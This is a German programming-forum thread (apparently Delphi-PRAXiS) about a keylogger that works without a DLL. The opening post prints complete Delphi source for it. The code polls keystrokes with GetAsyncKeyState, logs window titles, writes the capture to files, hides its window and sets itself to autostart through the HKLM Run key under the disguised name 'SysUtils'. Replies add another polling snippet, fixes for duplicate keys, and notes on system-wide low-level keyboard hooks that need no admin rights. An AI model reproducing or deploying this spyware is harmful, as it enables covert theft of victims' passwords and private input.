![]() |
Keylogger ohne dll :)
Liste der Anhänge anzeigen (Anzahl: 1)
Hi.
Ich habe hier den Source eines Keyloggers, der ohne dll funktioniert. Das ganze basiert auf Timern, doch ich verstehe es noch nicht ganz. Also so weit ich das aus dem Source ersehen kann wird da mit einem Timer bgefangen welche taste grade gedrückt wurde in diesem Moment. Aber warum ist das nicht wi bei anderen Keyloggern dieser Art, die ein: Hallo in ein HHHHHHaaaaaaaaallllllllllllllllllllllllllllllllooo oooooo verstümmeln? Doppelte Buchstaben us, wird alles erkannt. ich könnte den Source einfach kopieren, aber jetzt habe ich interesse zu verstehen wie das ganze Funktioniert :) Hier der Soure und im Anhang das Projekt.
Delphi-Quellcode:
unit Unit1;
interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, registry, FileCtrl; type TForm1 = class(TForm) Timer1: TTimer; Timer2: TTimer; Timer3: TTimer; procedure FormCreate(Sender: TObject); procedure Timer1Timer(Sender: TObject); procedure Timer2Timer(Sender: TObject); procedure Timer3Timer(Sender: TObject); procedure FormDestroy(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; Buffer:String; ventanaActual:String; ventanaAnterior:String; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); var Reg: TRegistry; begin Reg := TRegistry.Create; try Reg.RootKey := HKEY_LOCAL_MACHINE; if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True) then Reg.WriteString('SysUtils','"' + ParamStr(0) + '"'); finally Reg.CloseKey; Reg.Free; inherited; end; end; procedure TForm1.Timer1Timer(Sender: TObject); function VentanaActiva: String; var PC: Array[0..$FFF] of Char; Wnd : Thandle; begin {$IFDEF Win32} Wnd := GetForegroundWindow; {$ELSE} Wnd := GetActiveWindow; {$ENDIF} SendMessage( Wnd , $000D , $FFF , LongInt( @PC ) ); //$000D es el WM_GETTEXT Result := PC; end; var i: integer; TeclaAnterior:String; letra:String; begin If GetAsyncKeyState(VK_TAB)=-32767 then letra:=' -Tab- '; If GetAsyncKeyState(VK_CAPITAL)=-32767 then letra:=' -Caps Lock- '; If GetAsyncKeyState(VK_ESCAPE)=-32767 then letra:=' -Esc- '; If GetAsyncKeyState(VK_DELETE)=-32767 then letra:=' -Delete- '; if GetAsyncKeyState(13)=-32767 then letra:=' -Enter- '; if GetAsyncKeyState(8)=-32767 then letra:=' -Back- '; for i:=30 to 255 do if GetAsyncKeyState(i)=-32767 Then Case i of 91:Letra:=' (Menu inicio) '; 96:Letra:='0'; 97:Letra:='1'; 98:Letra:='2'; 99:Letra:='3'; 100:Letra:='4'; 101:Letra:='5'; 102:Letra:='6'; 103:Letra:='7'; 104:Letra:='8'; 105:Letra:='9'; 106:Letra:='*'; 107:Letra:='+'; 109:Letra:='-'; 110:Letra:='.'; 111:Letra:='/'; 112:Letra:=' F1 '; 113:Letra:=' F2 '; 114:Letra:=' F3 '; 115:Letra:=' F4 '; 116:Letra:=' F5 '; 117:Letra:=' F6 '; 118:Letra:=' F7 '; 119:Letra:=' F8 '; 120:Letra:=' F9 '; 121:Letra:=' F10 '; 122:Letra:=' F11 '; 123:Letra:=' F12 '; else if (i<>160) and (i<>161) and (i<>45) and (i<>35) and (i<>40) and (i<>34) and (i<>37) and (i<>39) and (i<>36) and (i<>33) and (i<>48) and (i<>46) and (i<>144) and (i<>93) and (i<>92) and (i<>44) and (i<>145) and (i<>38) then if GetKeyState(20)=1 then //si estan activadas las mayusculas begin letra:=UpCase(chr(i));//la paso a mayuscula if (GetAsyncKeyState(16)=-32768) or (GetAsyncKeyState(16)=-32768) then//si tengo presionado shift letra := LowerCase(chr(i)) end else //Si no estan activadas las mayusculas begin letra:=LowerCase(chr(i)); if (GetAsyncKeyState(16)=-32768) or (GetAsyncKeyState(16)=-32768) then//si tengo presionado shift letra:=UpCase(chr(i)) end; end; VentanaAnterior:=VentanaActual; VentanaActual:=VentanaActiva; If (ventanaActual='üý') or (ventanaActual='') then Exit; If ventanaAnterior<>VentanaActiva then Begin Buffer:=buffer+ #13#10 + '[' + VentanaActual + ']' + #13#10; if letra <> TeclaAnterior then Begin TeclaAnterior:=Letra; Buffer:=Buffer+Letra; End; End Else Begin if letra <> TeclaAnterior then Begin TeclaAnterior:=Letra; Buffer:=Buffer+Letra; End; End; end; procedure TForm1.Timer2Timer(Sender: TObject); begin Form1.Hide; Timer1.Enabled:=True; Timer2.Enabled:=False; end; procedure TForm1.Timer3Timer(Sender: TObject); Var archivo: TextFile; X:integer; begin For X:=0 to 5000 do Begin AssignFile(Archivo,'log'+IntToStr(X)+'.txt'); {$I-}Reset(Archivo);{$I+} If IOResult<>0 then Begin Rewrite(Archivo); Writeln(Archivo,DateTimeToStr(Now)); Writeln(Archivo); Write(Archivo,Buffer); CloseFile(Archivo); Buffer:=''; Exit; End; End; End; procedure TForm1.FormDestroy(Sender: TObject); var Reg:TRegistry; begin Reg := TRegistry.Create; try Reg.RootKey := HKEY_LOCAL_MACHINE; if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True) then Reg.WriteString('SysUtils','"' + ParamStr(0) + '"'); finally Reg.CloseKey; Reg.Free; inherited; end; Timer3.OnTimer(Sender); end; end. |
Re: Keylogger ohne dll :)
Soweit ich dich verstanden habe, sage ich mal Spontan:
Dein Keylogger Loggt die Keys die Windoff ausgibt, und nicht die Signale die Windows verarbeitet! Verursacht wird der Unterschied durch die Tastenanschlaggeschwindigkeit, die man in Windows einstellen kann! |
Re: Keylogger ohne dll :)
Sorry damit kann ich nicht wirklich viel anfangen :s
Wieso stellt dieser Keylogger dei Eingaben korrekt dar und andere die ähnlich arbeiten nicht? Kannst du mir das am Source erklären? Man bräuchte normal ja nur einen Timer für die reinen eingaben, aber irgendwie sind es 2. Ich habe noch einen anderen Keylogger Source der mit Timern arbeitet, damit man sieht wie das bei dem aussieht.
Delphi-Quellcode:
Wenn ich nun etwas eingebe stellt er mir je nach Timergeschwindigkeit HHHHHHaaaaaaaalllllllllllllllllllllooooooo
1. procedure TForm1.Timer1Timer(Sender: TObject);
2. Var pos, c : integer; 3. begin 4. //64 = Code ASCII de la lettre 'a', si echap est presser vous le serez 5. for c:= 1 to 255 do begin; 6. pos := GetKeyState(c); 7. If Copy(IntToStr(pos),1,1) = '-' Then begin; 8. memo1.Text := Memo1.Text + chr(c); 9. End; 10. End; 11. end; oder auh wnen ich z.B. langsamer einstelle Hlo oder noch weniger (bis eben hin zu garnichts, weil beim Timerevent der Knopf schon wieder losgelassen wurde) |
Re: Keylogger ohne dll :)
das soll ein keylogger sein? :lol: nene junge, da gibt es was professionelleres :mrgreen:
![]() da solltest du unter anderem zu einem von mir gestarteten thread kommen, in dem flocke am schluss ein sehr schönes beispiel gibt. |
Re: Keylogger ohne dll :)
Na solange es die Keys logt ists doch nen keylogger oder :s
Ich kenn das ganze mit den Hooking dlls ja, aber ich würde gerne verstehen wie das hier funktioniert. |
Re: Keylogger ohne dll :)
ich würde halt bei getasynckeystate die doppelten rausschmeissen.
:warn: setwindowshookex(WH_KEYBOARD_LL,...) funktioniert ohne DLLs! warum eine unsaubere und unperformante methode benutzen, wenn es die "offizielle" auch gibt? getasynckeystate sollte man benutzen, wenn man eine einzelne taste holen will. wer alle keys haben will, macht gefälligst einen key hook! :zwinker: PS: wieso will ich ein wackeliges dreirad verstehen, wenn ich weiss, wie man mit einem motorrad umgeht? :stupid: |
Re: Keylogger ohne dll :)
@DGL-luke: ohne DLL funktioniert es nur Anwendungsweit. Wenn man mit Hook arbeitet muss es eine DLL sein um das ganze systemweit abzufangen... Die Methode mit den Timer find ich persönlich unsauber, denn wie schon erwähnt wird dort kein key geloggt wenn ich die Taste schnell genug wieder los lasse.
|
Re: Keylogger ohne dll :)
Na ja, "GetAsyncKeyState" könnte den Vorteil haben, dass man es auch "normal Sterblicher" ausführen kann.
Hat einer von euch den Keyboard-Hook mal ohne administrative Rechte ausprobiert (ich nicht)??? Ich habe gelesen, dass man das Berechtigung "Debug" benötigt, was wohl nicht jeder einfache Windows-User hat. [Nachtrag] (Wo ist der rote Kasten, wenn man ihn braucht ...) @SirThornberry: bei mir funktioniert WH_KEYBOARD_LL auch ohne DLL systemweit, ich bekomme damit alle Tastaturereignisse, auch die von anderen Anwendungen. |
Re: Keylogger ohne dll :)
Achso, gerade noch gefunden:
Zitat:
Die obige Quelle ist aber in der Hinsicht ein bisschen unsauber, dass man den Rückgabewert von GetAsyncKeyState auf bestimmte Bits prüfen und nicht mit einem numerischen Wert vergleichen sollte.
Delphi-Quellcode:
Der Quelltext oben prüft auf -31767 ($8001), also ob beide Bedingungen zutreffend sind. Dadurch gibt's keine Wiederholungsfehler.
TasteJetztGeradeGedrueckt := (GetAsyncKeyState(key) and $8000) <> 0;
TasteSeitDemLetztenMalGedrueckt := (GetAsyncKeyState(key) and $0001) <> 0; |
Re: Keylogger ohne dll :)
@flocke: hätt ich nicht gedacht das man da die systemweiten nachrichten noch bekommt. *noch was dazugelernt hab* woher weiß man dann eigentlich von welcher Anwendung die message kam (keyboardmessage etc.)
|
Alle Zeitangaben in WEZ +1. Es ist jetzt 00:38 Uhr. |
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz